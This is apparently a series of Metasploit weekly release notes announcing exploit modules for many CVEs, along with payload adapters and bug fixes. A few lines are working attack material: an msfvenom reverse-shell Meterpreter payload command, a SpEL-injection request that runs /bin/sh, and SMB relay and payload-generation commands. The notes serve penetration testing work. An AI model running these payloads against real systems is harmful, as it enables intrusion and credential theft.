Zyxel firewall unauthenticated command injection

This week, our very own Jake Baines added an exploit module that leverages CVE-2022-30525, an unauthenticated remote command injection vulnerability in Zyxel firewalls with zero touch provisioning (ZTP) support. Jake is also the author of the original research and advisory that was published last week. This module allows an attacker to achieve arbitrary code execution as the nobody user on affected devices. It takes advantage of an unsanitized user input that feeds the python os.system method behind the scenes. Well done Jake!

SAML credentials generator for vCenter Server

Community contributor npm-cesium137-io added an auxiliary module that forges valid SAML credentials for vCenter server. These credentials are very useful since they can be used to gain access to the SSO domain as a vSphere administrator. Note that this module cannot run offline and must be executed while the target vCenter is reachable over the network to properly acquire the administrator session token. Also, the vCenter SSO Identity Provider (IdP) trusted certificate chain needs to be provided. This can be extracted manually from the vmdir database file at /storage/db/vmware-vmdir/data.mdb using binwalk or using this post module, which is still in review at the time of writing.

GSOC 2022

The Metasploit project was accepted again for the Google Summer of Code program. This year the team welcomes back pingport80 as a returning contributor and 3V3RYONE. These students will be working on Post API improvements and expanded HTTP-Trace support respectively. We look forward to mentoring and working with them in the coming months, so stay tuned for further updates as they get started!

• VMware vCenter Forge SAML Authentication Credentials by npm – This module forges valid SAML credentials for vCenter server using the vCenter SSO IdP certificate, IdP private key, and VMCA root certificate as input objects.
• Zyxel Firewall ZTP Unauthenticated Command Injection by jbaines-r7, which exploits CVE-2022-30525 – A new module has been added to exploit CVE-2022-30525, an unauthenticated remote command injection vulnerability affecting Zyxel firewalls with zero touch provisioning (ZTP) support. Successful exploitation results in remote code execution as the nobody user.
• Bookmarked Sites Retriever by jerrelgordon – This adds a module to retrieve the bookmarks from Internet Explorer, Opera, Google Chrome, and Edge.

Enhancements and features (3)

• #16430 from adfoster-r7 – This adds support for logging AS-REP Roastable accounts, as well as storing the generated Kerberos token within the creds database. Additionally improves error handling.
• #16442 from sjanusz-r7 – This adds a new vars_form_data field to the Rex HTTP Client for uploading files/form values to a remote HTTP server with ease:

vars_form_data = [
  { 'name' => 'nsp', 'data' => @csrf_token },
  { 'name' => 'upload', 'data' => 1 },
  { 'name' => 'MAX_FILE_SIZE', 'data' => 1000000 },
  { 'name' => 'uploadedfile', 'data' => payload_zip, 'mime_type' => 'application/zip', 'encoding' => 'binary', 'filename' => zip_filename }
]

res = send_request_cgi(
  'method' => 'POST',
  'uri' => uri,
  'vars_form_data' => vars_form_data

Spring4Shell module

Community contributor vleminator added a new module which exploits CVE-2022-22965—more commonly known as "Spring4Shell." Depending on its deployment configuration, Java Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older can be vulnerable to unauthenticated remote code execution.

F5 BIG-IP iControl RCE via REST Authentication Bypass module

In addition, we have a new module that targets F5 iControl and exploits CVE-2022-1388, from contributor heyder. This vulnerability allows attackers to bypass iControl’s REST authentication on affected versions and achieve unauthenticated remote code execution as root via the /mgmt/tm/util/bash endpoint.

Cisco RV340 SSL VPN RCE module

The last of the new RCE modules this week—community contributor pedrib added a Cisco RV340 SSL VPN module, which exploits CVE-2022-20699. This module exploits a stack buffer overflow in the default configuration of Cisco RV series routers, and does not require authentication. This module also works over the internet and does not require local network access.

First Class PowerShell Command Payloads

Metasploit has had the ability to execute native 64-bit and 32-bit Windows payloads for quite some time. This functionality was exposed to module authors by way of a mixin which meant that a dedicated target needed to be written. This placed an additional development burden on module authors who wanted to offer powershell commands for in-memory code execution of native payloads. Now module authors can just define the standard command target, and users can select one of the new cmd/windows/powershell* payloads. The new adapter will convert the native code into a powershell command automatically, without additional effort from the module developer.

Since these are new payload modules, they can also be generated directly using MSFVenom:

./msfvenom -p cmd/windows/powershell/meterpreter/reverse_tcp LHOST=192.168.159.128

This is similar to using one of the psh- formatters with the existing -f option. However, because it’s a payload module, the additional Powershell specific options are accessible. For example, the resulting command can be base64-encoded to remove many special characters by setting Powershell::encode_final_payload=true.

New module content (4)

• F5 BIG-IP iControl RCE via REST Authentication Bypass by Heyder Andrade, James Horseman, Ron Bowes, and alt3kx, which exploits CVE-2022-1388 – A new module has been added for CVE-2022-1388, a vulnerability in F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions. By making a special request, one can bypass iControl REST authentication and gain access to administrative functionality. This can be used by unauthenticated attackers to execute arbitrary commands as the root user on affected systems.
• Cisco RV340 SSL VPN RCE from pedrib, which exploits CVE-2022-20699 – A new module has been added which exploits CVE-2022-20699, an unauthenticated stack overflow RCE vulnerability in the Cisco RV 340 VPN Gateway router. Successful exploitation results in RCE as the root user. This exploit can be triggered over the internet and does not require the attacker to be on the same network as the victim.
• Spring Framework Class property RCE (Spring4Shell) by vleminator, which exploits CVE-2022-22965 – This adds a module that targets CVE-2022-22965, a remote code execution vulnerability in some installations of Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older. To be vulnerable, the application must be running on JDK 9+ and in this case, packaged and deployed as a war file, though it may be possible to bypass these limitations later.
• Powershell Command Adapter from zeroSteiner – This adds a new payload adapter for converting native x86 and x64 Windows payloads to command payloads using Powershell.

Enhancements and features (4)

• #16529 from dwelch-r7 – This updates Mettle payloads to support logging to file and now uses the same options as the other Meterpreters. For example within msfconsole:

use osx/x64/meterpreter_reverse_tcp
generate -f macho -o shell MeterpreterDebugbuild=true MeterpreterDebugLogging='rpath:/tmp/foo.txt'
to_handler

• #16538 from adfoster-r7 – The Python Meterpreter loader library has been updated to address deprecation warnings that were showing when running these payloads using Python 3.4 and later.
• #16551 from adfoster-r7 – The documentation for tomcat_mgr_upload.rb has been updated to include additional information on setting up a vulnerable Docker instance to test the module on.
• #16553 from mauvehed – This updates Metasploit’s .github/SECURITY.md file with the latest steps to follow when raising security issues with Rapid7’s open source projects.

Bugs fixed (8)

• #16485 from jeffmcjunkin – This updates the version check for the exploit/windows/local/s4u_persistence module to allow it to run on later Windows versions.
• #16491 from adfoster-r7 – This fixes a bug whereby Meterpreter sessions and modules would crash when encountering a timeout issue due to using an invalid or deprecated error name.
• #16531 from adfoster-r7 – This fixes a crash in various pihole modules when login authentication is required.
• #16533 from cdelafuente-r7 – This updates the Meterpreter reg command to correctly handle setting the KEY_WOW64 flag with -w 32 or -w 64 – previously these flag values were unintentionally ignored.
• #16540 from adfoster-r7 – This fixes an issue with Zeitwerk trying to load Go packages as part of the boot up process.
• #16542 from sjanusz-r7 – This fixes a bug in msfconsole’s internal book keeping to ensure that closed channels are no longer tracked.
• #16544 from adfoster-r7 – This updates post module windows/gather/ad_to_sqlite to no longer crash. The module will now additionally store the extracted information as loot.
• #16560 from Ronni3X – This updates the nessus_connect login functionality to correctly handle the @ symbol being present in the password.

Redis Sandbox Escape

Our very own Jake Baines wrote a module that performs a sandbox escape on Redis versions between 5.0.0 and 6.1.0 and achieves remote code execution as the redis user. Redis installations can be password protected, so this module supports exploiting the vulnerability with and without authentication.

While this module targets Redis software, the vulnerability (CVE-2022-0543) only presents itself on Debian-based Linux distributions due to the Lua package interface remaining enabled. The existence of the Lua package interface means that arbitrary libraries can be loaded and used to evade the protections of the sandbox. This vulnerability has been reported as being exploited in the wild.

Antivirus Enumeration

Thanks to sempervictus we now have a post module for enumerating installed antivirus products on Windows systems. Using either a Meterpreter or shell session, the module detects these installations through WMI queries and saves the information to the database. Some of the data returned includes versioning information, possibly clueing a user in on a potential next target for privilege escalation.

New module content (2)

• Redis Lua Sandbox Escape by Reginaldo Silva and jbaines-r7, which exploits CVE-2022-0543 – This exploit achieves remote code execution as the redis user via a sandbox escape in several Redis versions distributed through Debian-based Linux distributions.
• Windows Installed AntiVirus Enumeration by rageltman – This adds a module that enumerates all installed AV products on Windows.

Enhancements and features (1)

• #16486 from adfoster-r7 – This adds an initial set of pen testing docs to https://docs.metasploit.com/docs/pentesting/

Bugs fixed (2)

• #16450 from ORelio – This updates exploit/multi/vnc/vnc_keyboard_exec to include a delay that increases reliability when getting a shell and typing out long commands.

ManageEngine ADSelfService Plus Authenticated RCE

This module is pretty exciting for us because it’s for a vulnerability discovered by our very own Rapid7 researchers Jake Baines, Hernan Diaz, Andrew Iwamaye, and Dan Kelly.
The vulnerability allowed for attackers to leverage the "custom script" functionality to execute arbitrary operating system commands whenever domain users reset their passwords.
I won’t go into too much depth though because we have a whole blog post here for you to check out with all the details!
Oh, and I almost forgot to mention this module comes with a brand new jjs_reverse_tcp payload too.

Who watches the watch_queue?

This week we’ve also brought you an LPE for Linux via the watch_queue event notification system.
The module exploits a heap out-of-bounds write in kernel memory in versions prior to 5.18 but keep in mind the module currently only has the appropriate offsets for Ubuntu 20.10 with kernel version 5.13.0-37.

New module content (2)

• Watch Queue Out of Bounds Write by Jann Horn, bonfee, and bwatters-r7, which exploits CVE-2022-0995
• ManageEngine ADSelfService Plus Custom Script Execution by Andrew Iwamaye, Dan Kelley, Hernan Diaz, and Jake Baines, which exploits CVE-2022-28810 – This adds an exploit for CVE-2022-28810 which is an authenticated RCE in ManageEngine ADSelfService Plus.

Enhancements and features (6)

• #16437 from h00die – Adds ESXi as a recognizable type on ssh_login.
• #16438 from h00die – Some SMTP servers only give out credentials when prompted. Now, the module option ‘AUTHPROMPT’ exists to indicate whether or not the auth prompt is required by the server.
• #16446 from zeroSteiner – This updates the code for compatibility with the latest RubySMB 3.1 gem.
• #16458 from bcoles – The fortios_vpnssl_traversal_creds_leak module has been updated to appropriately attribute the original discoverers of the vulnerability and to credit their original blog post and research presentations.
• #16476 from bcoles – The tools/dev/msftidy.rb tool has been updated to recommend using CVE datastore references over the cve.mitre.org URL references since this is more maintainable in the long run and will assist transitioning things when CVE transitions to cve.org later this year.
• #16477 from bcoles – This PR updates several modules to remove hardcoded URL references to the soon to be deprecated cve.mitre.org site, and where applicable, add in CVE references in place of these hardcoded URL references.

Bugs fixed (5)

• #16318 from heyder – Adds support to old key exchange algorithms in the net/ssh lib by defining the append_all_supported_algorithms to true.
• #16379 from heyder – Refactored a number of modules to use ssh_client_defaults.
• #16426 from usiegl00 – This fixes a crash in OSX Meterpreter’s stager caused by mangled dyld functions in MacOS Monterey.
• #16457 from jmartin-r7 – Recent updates in Rex::Parser::Arguments regressed the ability to have short flags with multiple characters. This restores functionality by updating the spec checks and library code to appropriately parse multiple character short flags and each individual short flag specified in a combined short flag.
• #16479 from cdelafuente-r7 – Meterpreter’s reg setval command has been updated to allow setting a REG_BINARY key value with the -d option with an arbitrarily long binary blob. Previously, this value was treated as a string which lead to an incorrect value being set in the registry field.

Meterpreter Debugging

A consistent message Metasploit hears from users is that debugging and general logging support could be improved. The gaps in functionality make it difficult for users to understand what happens when things go wrong and for new and existing developers to fix bugs and add new features. The Metasploit team has been trying to improve this in various parts of the framework, the most recent being Meterpreter. Meterpreter payloads now have additional debugging options that can be used to inspect the internal workings of the payload as it is running. These options include MeterpreterDebugLogging, which can be used to select where the log file is placed on the remote machine, and MeterpreterDebugBuild, which controls whether or not the deployed Meterpreter supports debugging. For many Meterpreter builds, the additional debugging information would include large, easily signature-able strings that should not be present for typical operations. For this reason, users on active engagements that do not require additional logging should leave this setting off.

This functionality pairs nicely with the recently added SessionTlvLogging option, which can display the C2 traffic used by Meterpreter. With these options, both the internal state and the individual requests and responses can be inspected to understand what is happening. This should hopefully contribute to making Meterpreter a little less enigmatic.

WordPress Library Improvement

Metasploit contains quite a few modules targeting various WordPress vulnerabilities, many of which are in plugins. Almost all of these modules utilize the common WordPress library that Metasploit provides. This week that library was improved to properly handle target WordPress configurations that do not place the REST API under the standard /index.php/ path. This should improve the reliability of these modules by properly accounting for the target’s configuration.

Enhancements and features (5)

• #16377 from sjanusz-r7 – The Python Meterpreter payload now supports creation of a debug build with the MeterpreterDebugBuild datastore option. By default logging will be output to the console that the payload was run in. A new MeterpreterDebugLogging datastore option allows writing these log files on the host that ran the payload.
• #16396 from sjanusz-r7 – The PHP Meterpreter payload now supports creation of a debug build with the MeterpreterDebugBuild datastore option. By default logging will be output to the console the payload was run in. A new MeterpreterDebugLogging datastore option allows for writing these log files on the host that ran the payload.
• #16411 from jmartin-r7 – Improves the RPC analyze host functionality to return additional module suggestion metadata such as invalid options or missing module requirements.
• #16418 from adfoster-r7 – This adds the boilerplate for placing the debugging Meterpreter sessions wiki page to the docs site.
• #16451 from dwelch-r7 – This ensures that if MeterpreterDebugBuild is enabled, that the debug versions of the extensions are also used. This allows extensions can now also output debug messages visible via tools such as dbgview, which can be helpful when debugging payloads or Meterpreter extensions.

Bugs fixed (2)

• #16221 from gwillcox-r7 – This fixes WordPress support to work with sites where the REST API is not under /index.php/.
• #16455 from adfoster-r7 – This removed the requirement for railgun support in modules that used the Post::File mixin, enabling better identification of modules usable against an existing session.

CVE-2022-22963 – Spring Cloud Function SpEL RCE

A new exploit/multi/http/spring_cloud_function_spel_injection module has been developed by our very own Spencer McIntyre which targets Spring Cloud Function versions Prior to 3.1.7 and 3.2.3. This module is unrelated to Spring4Shell CVE-2022-22965, which is a separate vulnerability in the WebDataBinder component of Spring Framework.

This exploit works by crafting an unauthenticated HTTP request to the target application. When the spring.cloud.function.routing-expression HTTP header is received by the server it will evaluate the user provided SpEL (Spring Expression Language) query, leading to remote code execution. This can be seen within the CVE-2022-22963 Metasploit module:

res = send_request_cgi(
    'method' => 'POST',
    'uri' => normalize_uri(datastore['TARGETURI']),
    'headers' => {
    'spring.cloud.function.routing-expression' => "T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','#{cmd.gsub("'", "''")}'})"
    }
)

Both patched and unpatched servers will respond with a 500 server error and a JSON encoded message

Capturing credentials is a critical and early phase in the playbook of many offensive security testers. Metasploit has facilitated this for years with protocol-specific modules all under the auxiliary/server/capture. Users can start and configure each of these modules individually, but now the capture plugin can streamline the process. The capture plugin can easily start 13 different services (17 including SSL enabled versions) on the same listening IP address including remote interfaces via Meterpreter. A configuration file can be used to select individual services to start and once finished, all services can easily be stopped using a single command.

To use the plugin, it must first be loaded. That will provide the captureg command (for Capture-Global) which then offers start and stop subcommands. In the following example, the plugin is loaded, and then all default services are started on the 192.168.159.128 interface.

NATed Services

This week Metasploit added features to libraries that provide listening services like HTTP, FTP, LDAP, etc. that allow them to be bound to an explicit IP address and port combination that is independent of what is typically the SRVHOST option. This is particularly useful for modules to be used in scenarios where the target needs to connect to Metasploit through either a NAT or port-forward configuration. The use of this feature mimics the existing functionality that’s provided by the reverse_tcp and reverse_http(s) payload stagers.

When a user needs the target to connect to 10.2.3.4, the Metasploit user would set that as the SRVHOST. If, however, that IP address is the external interface of a router with a port forward, Metasploit won’t be able to bind to it. To fix that, users can now set the ListernBindAddress option to one that Metasploit can listen on. In this case, the IP address that the router will forward the incoming connection to.

For example, with the network configuration:

Private IP: 172.31.21.26 (where Metasploit can bind to)
External IP: 10.2.3.4 (where the target connects to Metasploit)

The Metasploit module commands would be:

set srvhost 10.2.3.4
set ListenerBindAddress 172.31.21.26

set lhost 10.2.3.4
set ReverseListenerBindAddress 172.31.21.26

Enhancements and features (4)

• #16249 from gwillcox-r7 – This expands on the work done in https://github.com/rapid7/metasploit-framework/pull/16164 and adds in a new library named Msf::Exploit::Remote::HTTP::Exchange which will allow for future Exchange library functions.
• #16250 from zeroSteiner – Adds new ListenerBindPort and ListenerBindAddress options on modules which expose services such as HTTP, SMB, LDAP, FTP, etc. This allows users to specify a separate IP/Port to bind to, in addition to providing SRVHOST/SRVPORT values. These additional options are useful if Metasploit is running in a network behind a NAT, or when pivoting through a compromised target. The naming convention is similar to the payload options ReverseListenerBindAddress and ReverseListenerBindPort
• #16298 from smashery – This adds the new "capture" plugin which can be used to easily start and stop credential-capturing services.
• #16352 from adfoster-r7 – The discussion tag has been added to allow for more long term discussions. This will replace the existing Discussions tab, and issues marked as such will not be automatically closed.

Bugs fixed (12)

• #16207 from h00die – The VNC libraries and associated modules have been updated to support more modern versions of VNC and to fix a few bugs so that they will work correctly with new VNC versions.
• #16309 from HynekPetrak – This fixes an issue where the ssh_login module would crash when the channel used to execute the commands to gather the platform information reported that they failed.
• #16317 from smashery – This fixes an issue with multiple modules that listen on UDP sockets where the modules were not closing and freeing the socket when their respective services were stopped.
• #16325 from sjanusz-r7 – This PR replaces IO.read with File.binread, in scenarios where it’s obvious that we’re reading from binaries, to prevent an issue where not all of the file has been read correctly due to an additional EOL<->CRLF conversion that happens on Windows.
• #16340 from bcoles – This fixes the APK injection behavior to use aapt2 if msfvenom is unable to rebuild the APK with apktool, allows more APKs to be compatible with msfvenom, and fixes a bug.
• #16341 from h00die – This fixes a bug where the auxiliary/server/capture/vnc module would not output hashes in a format compatible with John The Ripper and a bug that was causing crashes due to assuming hashes always had an associated username. Additionally, support has been added for exporting VNC hashes into a JTR compatible format for later cracking and the hash_identify function has been updated to properly identify VNC hashes allowing for better hash detection.
• #16353 from jmartin-r7 – A bug has been fixed in the Anemone library and in the HTTP crawler libraries and related module to allow pulling and setting of ssl_version from standardized options. This permits fine-grained user control and avoids issues related to missing or depreciated SSL versions in newer Ruby versions, which were at times preventing Metasploit from making successful connections to targets.
• #16358 from bcoles – This change fixes a bug in the msfvenom APK injection code, where in some situations a suitable hook point could not be found.
• #16367 from zeroSteiner – A bug was found in the way character escaping was done in apache_apisix_api_default_token_rce which has now been fixed. In addition, several updates have been made to better handle error cases that may occur when sending HTTP requests to the target.
• #16368 from zeroSteiner – This improves response time when a cache miss occurs for commands not provided by msfconsole.
• #16369 from sjanusz-r7 – This change fixes shell_to_meterpreter module to allow upgrading (or duplicating) Meterpreter sessions.
• #16371 from AlanFoster – This fixes a crash in the WebSocket library used by the Kubernetes modules that would occur when a socket method was being called that’s only provided by the Rex version.
• #16361 from bcoles – Thisadds docs for the adb_server_exec module.

CVE-2022-21999 – SpoolFool

Our very own Shelby Pace has added a new module for the CVE-2022-21999 SpoolFool privilege escalation vulnerability. This escalation vulnerability can be leveraged to achieve code execution as SYSTEM. This new module has successfully been tested on Windows 10 (10.0 Build 19044) and Windows Server 2019 v1809 (Build 17763.1577).

CVE-2021-4191 – Gitlab GraphQL API User Enumeration

Jake Baines has contributed a new module for CVE-2021-4191, which queries the GitLab GraphQL API to acquire the list of GitLab users without authentication. There’s some news coverage from earlier this month here. The module works on all GitLab versions from 13.0 up to 14.8.2, 14.7.4, and 14.6.5.

Adapted Payloads

Spencer McIntyre has added a new payload type that allows existing modules to be adapted for new scenarios. For example, modern exploits often deliver OS command payloads while Metasploit users would prefer to have more fully-featured native payloads (like Meterpreter delivered) and these scenarios are often special cases handled by the module author. Metasploit’s new payload adapters allow payloads from one architecture to be converted to another for seamless compatibility with a wider variety of exploit modules. The first entry for this new type is an adapter that converts Python payloads to OS command payloads, allowing any exploit capable of executing a Unix Command payload to deliver a Python Metepreter in memory. For additional ease of use, the correct Python binary is automatically determined.

New module content (3)

• Windows IIS HTTP Protocol Stack DOS by Axel Souchet, Maurice LAMBERT, Max, and Stefan Blair, which exploits CVE-2021-31166 – A new module has been added that exploits CVE-2021-31166, a UAF bug in http.sys when parsing Accept-Encoding headers, to cause a BSoD and denial of service on vulnerable IIS servers.
• GitLab GraphQL API User Enumeration by jbaines-r7 and mungsul, which exploits CVE-2021-4191 – This adds an auxiliary module that enumerates Gitlab user accounts via the GraphQL API which does not require authentication when querying user information.
• CVE-2022-21999 SpoolFool Privesc by Oliver Lyak and Shelby Pace, which exploits CVE-2022-21999 – This adds a module targeting SpoolFool (AKA CVE-2022-21999), a local privilege escalation targeting the spool service on Windows 10 or Server builds 18362 or earlier.

Enhancements and features (2)

• #16186 from zeroSteiner – This adds an additional Adapter payload type which can be used in a scenario such as wanting to deliver a full Meterpreter session from a command payload.
• #16262 from zeroSteiner – This updates the default payload selection so that cmd/unix/reverse_bash is chosen over cmd/unix/reverse_netcat by default unless RequiredCmd is set such that the module cannot execute Bash payloads.

Bugs fixed (7)

• #16316 from smashery – This ensures individual modules no longer accidentally shut down joint services that are used across multiple modules/handlers etc, such as HTTP servers. Modules will now correctly unregister interest in the global service, and if there are no longer any interested modules in the running global service, it will be shut down correctly.
• #16324 from smashery – This fixes an issue in the DNS native server module where the server would crash upon receiving a query.
• #16326 from zeroSteiner – This fixes SMB signing detection for the scanner/smb/smb_version module when the target server has SMB1 disabled.
• #16332 from bcoles – This change fixes a bug in APK injection where the native libraries would not automatically be aligned with zipalign, and would fail to install on a device.
• #16334 from bcoles – This change fixes a bug where APK files that were not signed with the v1 scheme would fail during the signing phase of APK file injection with msfvenom.
• #16347 from zeroSteiner – This updates the normalize_host method so that when it attempts and fails to resolve a hostname to an IP address, it will return nil instead of raising an exception. Previously this exception would result in modules like auxiliary/gather/enum_dns crashing instead of saving the information it had managed to gather on the target so far.
• #16350 from sjanusz-r7 – This fixes an unintentional crash when using payload/windows/x64/encrypted_shell_reverse_tcp without having a database configured

Mucking out the pipes.

Thanks to some quick work by timwr, CVE-2022-0847 aka "Dirty Pipe" gives Metasploit a bit of digital plumber’s training. The exploit targeting modern Linux v5 kernels helps elevate user privileges by overwriting a SUID binary of your choice by plunging some payload gold through a pipe.

Long live the SMB relay!

SMB, that magical ubiquitous service making all that noise on networks, just got even more fun. With the latest updates by adfoster-r7 the windows/smb/smb_relay module that had been languishing in disuse due to evolutions in the protocol is now more helpful than ever. Users can now relay over SMB versions 2 and 3, and even select multiple targets that Metasploit will intelligently cycle through them to ensure that it is not wasting incoming connections.

Example module usage:

use windows/smb/smb_relay
set RELAY_TARGETS 192.168.123.4 192.168.123.25
set JOHNPWFILE ./relay_results.txt
run

Incoming requests have their hashes captured, as well as being relayed to additional targets to run psexec:

• Dirty Pipe Local Privilege Escalation via CVE-2022-0847 by Max Kellermann and timwr, which exploits CVE-2022-0847 – This exploits a privilege escalation vulnerability in the Linux kernel starting with version 5.8. The module leverages the vulnerability to overwrite an SUID binary in order to gain privileges as the root user.
• APISIX Admin API default access token RCE by Heyder Andrade and YuanSheng Wang, which exploits CVE-2022-24112 – This adds an unauthenticated exploit targeting Apache APISIX. It leverages two vulnerabilities, the first of which is a default API key and the second is an IP restriction bypass. The result is OS command execution as the service user.
• pfSense Diag Routes Web Shell Upload by Abdel Adim "smaury" Oisfi of Shielder and jbaines-r7, which exploits CVE-2021-41282 – This PR adds a module that exploits an authenticated arbitrary file creation vulnerability in the pfSense HTTP interface.
• SMB Relay Rewrite from adfoster-r7 – Updates the SMB relay module to support relaying to targets over SMB 2 and SMB 3. It also adds intelligent targeting for multiple hosts so if the incoming authentication information is incompatible with one, the next target host will be tried.

Enhancements and features

• #16135 from sjanusz-r7 – This adds support for logging Meterpreter’s TLV Packets with setg SessionTlvLogging true. Other values for the SessionTlvLogging option include console, false, and file:<file_location>.
• #16141 from adfoster-r7 – This adds service manager commands to msfconsole.
• #16219 from sjanusz-r7 – This updates the packet inspection for the enumextcmd and loadlib commands to log human readable string identifiers in addition to the integer value command ids that were introduced as part of Metasploit 6.
• #16258 from sjanusz-r7 – This improves Meterpreter’s TLV logging support to show human readable names for the Meterpreter TLV values of. To view this functionality run setg SessionTlvLogging true with a Meterpreter session open. Next, run a Meterpreter command such as dir.
• #16269 from bcoles – This improves validation for Android payloads to verify Java is correctly installed and apktool.jar exists in the same directory as apktool.
• #16270 from bcoles – This improves validation for Android payloads to notify the user if a keytool error is present, such as being unable to parse the provided APK file or certificate.
• #16282 from 3V3RYONE – This adds the lcat command to Meterpreter which allows the user to cat a local file.
• #16288 from bcoles – This change display the output of apktool if the apktool output contains Java exceptions, which is useful for debugging errors in Android APK injection.

Bugs fixed

• #16145 from adfoster-r7 – This fixes a case sensitivity issue with option handling for the to_handler command on Metasploit payloads. Previously, setting an LPORT value within a payload would not correctly override the previously set lport value.
• #16153 from jmartin-r7 – This fixes a bug in the auxiliary/client/smtp/emailer which previously handled multiline SMTP responses incorrectly, stopping the module from emailing the payload successfully.
• #16265 from smashery – This fixes an edgecase which led to a running job being cleaned up twice, causing unintended errors. Now the job is only cleaned up once.
• #16268 from bwatters-r7 – This updates the check method of the exploit/windows/local/bypassuac_comhijack module to identify Windows 10 versions 1903 and later as not being affected. This also switches the module to run the check method automatically which will help inform users when the target system is or is not vulnerable.
• #16283 from bcoles – This change fixes an error when attempting to inject into an unsigned APK file. A suitable error message is now displayed.

Exchange RCE

Exchange remote code execution vulnerabilities are always valuable exploits to have. This week Metasploit added an exploit for an authenticated RCE in Microsoft Exchange servers 2016 and server 2019 identified as CVE-2021-42321. The flaw leveraged by the exploit exists in a misconfigured denylist that failed to prevent a serialized blob from being loaded resulting in code execution. While this is an authenticated vulnerability, a standard user has sufficient permissions to trigger it which likely encompasses most users within an organization that uses Exchange. The vulnerability affects Exchange Server 2019 CU10 prior to Security Update 3, Exchange Server 2019 CU11 prior to Security Update 2, Exchange Server 2016 CU21 prior to Security Update 3, and Exchange Server 2016 CU22 prior to Security Update 2.

Chrome Password Decryption

Community member timwr updated the existing Chrome enumeration module to support decrypting passwords from modern versions of Chrome. The module can now decrypt both the new and old formats of passwords. This is helpful because when Chrome is updated, passwords in the old format are not updated to the new format.

New module content (2)

• Microweber CMS v1.2.10 Local File Inclusion (Authenticated) by Talha Karakumru – Adds a new module auxiliary/gather/microweber_lfi which targets Microweber CMS v1.2.10 and allows authenticated users to read arbitrary files on disk.
• Microsoft Exchange Server ChainedSerializationBinder Deny List Typo RCE by Grant Willcox, Microsoft Security Response Center, Microsoft Threat Intelligence Center, peterjson, pwnforsp, testanull, and zcgonvh, which exploits CVE-2021-42321 – This adds an exploit for CVE-2021-42321 which is an authenticated RCE in Microsoft Exchange. The vulnerability is related to a misconfigured deny-list that fails to properly prevent malicious serialized objects from being loaded, leading to code execution.

Enhancements and features

• #16061 from shoxxdj – The wordpress_scanner module has been updated to support enumerating WordPress users using the wp-json API.
• #16200 from timwr – This updates post/windows/enum_chrome to support decrypting stored passwords for Chrome versions greater than 80.

Bugs fixed

• #16197 from adfoster-r7 – This fixes an edge case when reading files on Windows, and fixes Ruby 3 crashes when reading files.
• #16215 from bwatters-r7 – This updates payloads version to 2.0.75, taking in the changes landed in https://github.com/rapid7/metasploit-payloads/pull/542 and fixes a bug in Windows Meterpreter getsystem command where a failed attempt to elevate can result in a partially-broken session.
• #16093 from h00die – A number of broken URL references have been fixed in Metasploit modules. In addition, the tools/modules/module_reference.rb code has been updated to log redirects so that they can be appropriately triaged later and to support saving results to a CSV file. Finally, several modules had their code adjusted to conform to RuboCop standards.

Nagios XI web shell upload module

New this week is a Nagios Web Shell Upload module from Rapid7′ own Jake Baines, which exploits CVE-2021-37343. This module builds upon the existing Nagios XI scanner written by Erik Wynter. Versions of Nagios XI prior to 5.8.5 are vulnerable to a path traversal exploit through an admin-authenticated PHP web shell that results in code execution as the www-data user.

Ignition for Laravel RCE module

Community contributor heyder added a module which exploits CVE-2021-3129 in Ignition for Laravel, versions prior to 2.5.2. This module allows for unauthenticated remote code execution due to insecure usage of the PHP functions file_get_contents() and file_put_contents().

New module content (3)

• Grandstream UCM62xx IP PBX WebSocket Blind SQL Injection Credential Dump by jbaines-r7, which exploits CVE-2020-5723 – A new module has been added which exploits CVE-2020-5724, a blind SQL injection in GrandStream UCM62xx IP PBX devices prior to firmware version 1.20.22 to dump usernames and passwords from the users table as an unauthenticated attacker. Successfully gathered credentials will be stored in Metasploit’s credential database for use in further attacks.
• Nagios XI Autodiscovery Webshell Upload by Claroty Team82 and jbaines-r7, which exploits CVE-2021-37343 – This exploits a path traversal vulnerability in Nagios XI versions below 5.8.5 to achieve authenticated code execution as the www-data user.
• Unauthenticated remote code execution in Ignition by Heyder Andrade and ambionics, which exploits CVE-2021-3129 – This module exploits a vulnerability in Ignition before 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents().

Enhancements and features

• #16076 from bcoles – This change adds the Meterpreter session type to the post/osx/gather/hashdump, hiding a warning when the module is run with a Meterpreter session.
• #16117 from zeroSteiner – This makes some Log4Shell updates. It refactors the scanner to reduce duplicate code, and fix a couple of minor bugs.
• #16161 from smashery – This PR updates the user agent strings for HTTP payloads to use the latest user agent strings for Chrome, Edge and Firefox on Windows and MacOS, as well as IPad.
• #16170 from sjanusz-r7 – This change fixes the native_arch functionality on Java and ensures the native architecture is displayed when running meterpreter > sysinfo on Java.

while (j==shell); Log4j;

The Log4j loop continues as we release a module targeting vulnerable vCenter releases. This is a good time to suggest that you check your vCenter releases and maybe even increase the protection surrounding them, as it’s been a rough year-plus for vCenter.

Let your shell do the walking

bcoles sent us a module that targets Grandstream GXV3175IP phones that allows remote code execution. It’s always fun to get a shell on a phone.

New module content (2)

• Grandstream GXV3175 ‘settimezone’ Unauthenticated Command Execution by Brendan Scarvell, alhazred, and bcoles, which exploits CVE-2019-10655 – A new module has been added in that exploits CVE-2019-10655, an unauthenticated remote code execution bug in Grandstream GXV3175. Authentication is bypassed via a buffer overflow in the way the phonecookie cookie is parsed, after which a command injection vulnerability in the ‘settimezone’ action’s ‘timezone’ parameter is exploited to gain RCE as the root user.
• VMware vCenter Server Unauthenticated JNDI Injection RCE (via Log4Shell) by RageLtMan, Spencer McIntyre, jbaines-r7, and w3bd3vil, which exploits CVE-2021-44228 – This PR adds a vCenter-specific exploit leveraging the Log4Shell vulnerability to achieve unauthenticated RCE as root / SYSTEM. This exploit has been tested on both Windows and Linux targets.

Enhancements and features

• #16075 from bcoles – The post/multi/manage/sudo module has been enhanced to print out a warning message and exit early if the session type that is trying to be upgraded via sudo is Meterpreter, since Meterpreter does not support sudo elevation at present.

Bugs fixed

